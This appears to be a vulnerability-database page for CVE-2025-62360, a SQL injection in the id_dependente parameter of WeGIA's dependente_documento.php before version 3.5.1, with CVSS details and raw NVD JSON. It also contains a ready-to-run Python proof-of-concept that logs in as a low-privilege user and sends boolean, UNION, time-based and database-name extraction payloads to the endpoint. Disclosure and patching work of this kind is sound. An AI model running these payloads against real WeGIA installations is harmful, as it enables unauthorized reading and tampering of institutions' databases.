Security Vulnerability Report
中文
CVE-2025-62360 CVSS 8.8 HIGH

CVE-2025-62360

Published: 2025-10-13 22:15:33
Last Modified: 2025-10-20 16:04:04

Description

WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users.Prior to 3.5.1, a SQL Injection vulnerability was identified in the /html/funcionario/dependente_documento.php endpoint, specifically in the id_dependente parameter. This vulnerability allows attackers to execute arbitrary SQL commands, compromising the confidentiality, integrity, and availability of the database. This vulnerability is fixed in 3.5.1.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:wegia:wegia:*:*:*:*:*:*:*:* - VULNERABLE
WeGIA < 3.5.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62360 - WeGIA SQL Injection PoC # Target: /html/funcionario/dependente_documento.php # Vulnerable Parameter: id_dependente # Requires: Low-privilege authenticated access import requests TARGET_URL = "http://target-wegia-server" LOGIN_URL = f"{TARGET_URL}/login.php" VULN_ENDPOINT = f"{TARGET_URL}/html/funcionario/dependente_documento.php" USERNAME = "low_priv_user" PASSWORD = "password123" # Step 1: Authenticate to obtain a valid session session = requests.Session() login_data = { "usuario": USERNAME, "senha": PASSWORD } session.post(LOGIN_URL, data=login_data) # Step 2: Exploit SQL Injection via id_dependente parameter # Example 1: Boolean-based blind injection (verify vulnerability) payload_boolean = "1' OR '1'='1" params = {"id_dependente": payload_boolean} response = session.get(VULN_ENDPOINT, params=params) print(f"[+] Boolean-based test - Status: {response.status_code}, Length: {len(response.text)}") # Example 2: UNION-based injection to extract database version payload_union = ( "1' UNION SELECT 1,2,3,4,version(),6,7,8,9,10-- -" ) params = {"id_dependente": payload_union} response = session.get(VULN_ENDPOINT, params=params) print(f"[+] UNION-based extraction:\n{response.text}") # Example 3: Time-based blind injection to confirm import time payload_time = "1' AND SLEEP(5)-- -" start = time.time() response = session.get(VULN_ENDPOINT, params={"id_dependente": payload_time}) elapsed = time.time() - start print(f"[+] Time-based blind test - Elapsed: {elapsed:.2f}s (expect ~5s if vulnerable)") # Example 4: Extract database name using error-based or UNION injection payload_dbname = "1' UNION SELECT database(),2,3,4,5,6,7,8,9,10-- -" response = session.get(VULN_ENDPOINT, params={"id_dependente": payload_dbname}) print(f"[+] Database name extraction:\n{response.text}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62360", "sourceIdentifier": "[email protected]", "published": "2025-10-13T22:15:33.440", "lastModified": "2025-10-20T16:04:04.377", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users.Prior to 3.5.1, a SQL Injection vulnerability was identified in the /html/funcionario/dependente_documento.php endpoint, specifically in the id_dependente parameter. This vulnerability allows attackers to execute arbitrary SQL commands, compromising the confidentiality, integrity, and availability of the database. This vulnerability is fixed in 3.5.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wegia:wegia:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.5.1", "matchCriteriaId": "0380F435-A37D-48F3-87E5-A2648574EDC0"}]}]}], "references": [{"url": "https://github.com/LabRedesCefetRJ/WeGIA/commit/7abbffd3915a64b97dde01954222fc0fbd804f70", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/LabRedesCefetRJ/WeGIA/issues/310", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}, {"url": "https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-m4j6-q5m4-x24g", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-mwvv-q9gh-gwxm", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}